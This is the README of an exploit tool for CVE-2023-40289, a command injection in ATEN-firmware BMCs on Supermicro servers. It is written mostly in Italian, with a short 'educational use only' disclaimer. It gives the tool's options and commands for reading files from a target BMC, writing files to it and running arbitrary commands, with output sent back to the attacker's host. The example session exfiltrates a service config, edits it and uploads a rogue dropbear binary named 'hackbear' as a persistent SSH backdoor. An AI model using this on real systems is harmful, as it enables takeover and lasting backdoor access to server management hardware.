CVE-2023-40289

Questo è un exploit per CVE-2023-40289, una vulnerabilità di injection dei comandi in diversi Baseband Management Controller (BMC) con firmware di ATEN. Esempi di dispositivi interessati includono Aspeed AST2300 o AST2500, che si trovano sui sistemi server delle serie X10 e X11 di Supermicro, tra gli altri.

La vulnerabilità è stata originariamente scoperta da Binarly. Questo repository si limita a estendere il loro PoC per renderlo più facile da usare.

Da usare solo per scopi educativi e con il consenso di tutte le parti coinvolte.

Utilizzo

Usage: CVE-2023-40289 [OPTIONS] COMMAND [ARGS]...

  Exploit CVE-2023-40289 on BMCs with ATEN firmware.

  /!\ Caution! This script will overwrite alerts without prompting! /!\

Options:
  --target TEXT        URL of the target BMC's web UI.  [required]
  -h, --lhost TEXT     IP address or host name of this system to get payload
                       output. Limited to ~35 characters.
  -l, --lport INTEGER  Local port to run an HTTP server on to get payload
                       output.  [default: 80]
  -s, --sid TEXT       A valid session ID for an administrative user on the
                       target system.
  -u, --username TEXT  The name of an administrative user to log in as.
                       Ignored if --sid is given.
  -p, --password TEXT  The password of the given user.
  --delay FLOAT        Delay between running a command and retrieving its
                       output.  [default: 1.5]
  --help               Show this message and exit.

Commands:
  get  Get FILE from the target BMC and save it locally.
  put  Write local FILE to the BMC at DEST.
  run  Run the PAYLOAD command on the target BMC.

  Note: All options may also be given as environment variables with the prefix
  'BMC_' (e.g. BMC_TARGET).

Esempio

$ export BMC_TARGET=192.168.0.8
$ export BMC_USERNAME=admin
$ export BMC_PASSWORD=hunter2
$ export BMC_LHOST=192.168.0.7
$ CVE-2023-40289 get /nv/service.conf
[.] Triggering upload of /nv/service.conf from BMC.
[✓] File contents written to nv/service.conf.
$ cat nv/service.conf
HTTP_SERVICE=0
HTTP_PORT=80
HTTPS_SERVICE=1
HTTPS_PORT=443
SSH_SERVICE=1
SSH_PORT=22
WSMAN_SERVICE=0
WSMAN_PORT=5985
IKVM_SERVICE=1
VM_SERVICE=0
SSL_REDIRECT=1
SNMP_SERVICE=0
SNMP_PORT=161
STUNNEL_SERVICE=1
STUNNEL_PORT=5900
$ echo SSH_EXE=/nv/hackbear >> nv/service.conf
$ CVE-2023-40289 put service.conf /nv/service.conf
[✓] Set download payloads
[✓] Downloaded service.conf to BMC.
[✓] Moved downloaded file to /nv/service.conf on BMC.
$ CVE-2023-40289 put dropbear-arm /nv/hackbear
[✓] Set download payloads
[✓] Downloaded dropbear-arm to BMC.
[✓] Set file mode.
[✓] Moved downloaded file to /nv/hackbear on BMC.
$ CVE-2023-40289 run /etc/init.d/smashd restart
[✓] Set payload command
[✓] Triggered payload command
[.] Getting command output
Verify the ssh key-/nv/dropbear/dropbear_rsa_host_key. Please wait.
Verify the ssh key-/nv/dropbear/dropbear_dss_host_key. Please wait.
Starting SMASH daemon .....

Requisiti

Questo script necessita di:

• Python 3
• click
• requests

Licenza

MIT